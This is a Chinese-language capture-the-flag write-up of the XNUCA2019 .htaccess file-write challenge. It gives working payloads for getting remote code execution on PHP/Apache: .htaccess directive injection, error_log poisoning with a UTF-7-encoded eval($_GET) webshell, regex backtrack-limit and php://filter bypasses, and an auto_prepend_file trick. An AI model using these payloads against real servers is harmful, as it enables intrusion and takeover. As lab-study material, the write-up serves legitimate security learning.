XNUCA2019Qualifier
题目复现链接:https://buuoj.cn/challenges
打开题目给了我们源码:
1 |
|
分析源码:
- 首先删除当前目录下非
index.php
的文件 - 然后
include(‘fl3g.php’)
,之后获取filename
和content
并写入文件中。其中对filename和content都有过滤。filename若匹配到除了a-z和单引号
.以外的其它字符,则触发waf - 文件内容结尾被加上了一行
功能很简单:
一个写文件的功能且只能写文件名为[a-z.]*
的文件,且文件内容存在黑名单过滤,并且结尾被加上了一行,这就导致我们无法直接写入.htaccess
里面auto_prepend_file
等php_value
。
预期解中知识点:
https://www.cnblogs.com/tr1ple/p/11439994.html
1. htaccess生效
如果尝试上传htaccess文件会发现出现响应500的问题,因为文件尾有Just one chance
这里采用# \
的方式将换行符转义成普通字符,就可以用#
来注释单行了。
2. 利用文件包含
代码中有一处include_once("fl3g.php");
,php的配置选项中有include_path
可以用来设置include的路径。如果tmp目录下有fl3g.php,在可以通过将include_path设置为tmp的方式来完成文件包含。
.htaccess
可以设置php_value include_path "xxx"
将include()
的默认路径改变
3. 指定目录写文件
.htaccess文件中可以自己定义error_log
,更多配置可以在php.ini配置选项列表找到
error_log可以将php运行报错的记录写到指定文件中。
如何触发报错呢?这就是为什么代码中写了一处不存在的fl3g.php的原因。我们可以将include_path的内容设置成payload的内容,这时访问页面,页面尝试将payload作为一个路径去访问时就会因为找不到fl3g.php而报错,而如果fl3g.php存在,则会因为include_path默认先访问web目录而不会报错。
1 | php_value include_path "xxx" |
据此可以做到将报错信息中的payload,如:
1 | [Fri Oct 25 17:44:29.533900 2019] [php7:warn] [pid 1387] [client 172.20.10.2:1147] PHP Warning: include_once(): Failed opening 'fl3g.php' for inclusion (include_path='.:/usr/share/php') in /var/www/html/ctf/index.php on line 10 |
这里就可以将shellcode配合include写进其它目录。
4. php_flag zend.multibyte 1结合php_value zend.script_encoding "UTF-7"绕过尖括号<过滤
index.php?filename=.htaccess&content=php_value include_path "<?=phpinfo();?>"%0d%0aphp_value log_errors 1%0d%0aphp_value error_log /tmp/fl3g.php%0d%0a%23 \
写入htaccess. 然而很不幸的是error_log的内容默认是htmlentities
的,我们无法插入类似<?php phpinfo();?>
的payload。那么怎么才能绕过这里的转义?
再次访问index.php
此时将include_path中的payload写入到了fl3g.php中,但是从观察来看<>被html实体编码转义了,html_errors里面html也被过滤了。说明此时shell无法利用,suctf也考到了.htaccess中编码来绕过<?的过滤,但是此时只转义了<,因此UTF-16,UTF-32均无法bypass,此时结合[Insomnihack 2019 I33t-hoster](https://github.com/mdsnins/ctf-writeups/blob/master/2019/Insomnihack 2019/l33t-hoster/l33t-hoster.md)题解中使用UTF-7编码来绕过<的过滤,结合php.ini的设置项
写入utf-7编码的shellcode可以绕过<?
的过滤
+ADw?php phpinfo()+ADs +AF8AXw-halt+AF8-compiler()+ADs
需要在.htaccess中配置解析的编码:
1 | php_flag zend.multibyte 1 |
综上:
最后生成的.htaccess是这样的
1 | php_value include_path "/tmp" |
非预期解1知识点
设置pcre的一些选项可以导致文件名判断失效,从而直接写入fl3g.php
1 | php_value pcre.backtrack_limit 0 |
if(preg_match("/[^a-z.]/", $filename) == 1)
而不是 if(preg_match("/[^a-z.]/", $filename) !== 0)
, 因此可以通过 php_value
设置正则回朔次数来使正则匹配的结果返回为 false 而不是 0 或 1, 默认的回朔次数比较大, 可以设成 0, 那么当超过此次数以后将返回 false
filename即可通过伪协议绕过前面stristr的判断实现Getshell
非预期解2知识点
1 | php_value auto_prepend_file ".htaccess" |
因为后面content会拼接无意义字符串, 因此采用.htaccess的单行注释绕过 # \
,这里反斜杠本来就有拼接上下两行的功能,因此这里本来就可以直接使用\来连接被过滤掉的关键字来写入.htaccess
结合上面:
预期解1
https://www.anquanke.com/post/id/185377#h3-6
Step1 写入.htaccess error_log相关的配置
1 | php_value include_path "/tmp/xx/+ADw?php die(eval($_GET[2]))+ADs +AF8AXw-halt+AF8-compiler()+ADs" |
Step2 访问index.php留下error_log
Step3 写入.htaccess新的配置
1 | php_value include_path "/tmp" |
index.php?filename=.htaccess&content=php_value include_path "/tmp"%0d%0aphp_value zend.multibyte 1%0d%0aphp_value zend.script_encoding "UTF-7"%0d%0a# \
Step4 再访问一次index.php?1=evilcode即可getshell.
非预期解1
1 | php_value pcre.backtrack_limit 0 |
令filename为:
filename=php://filter/write=convert.base64-decode/resource=.htaccess
这样content就能绕过stristr,一般这种基于字符的过滤都可以用编码进行绕过,这样就能getshell了
这里还学到了p牛的一篇文章:php://filter的妙用
非预期解2
因为后面content会拼接无意义字符串, 因此采用.htaccess的单行注释绕过 # \,这里反斜杠本来就有拼接上下两行的功能,因此这里本来就可以直接使用\来连接被过滤掉的关键字来写入.htaccess,
1 | php_value auto_prepend_fi\ |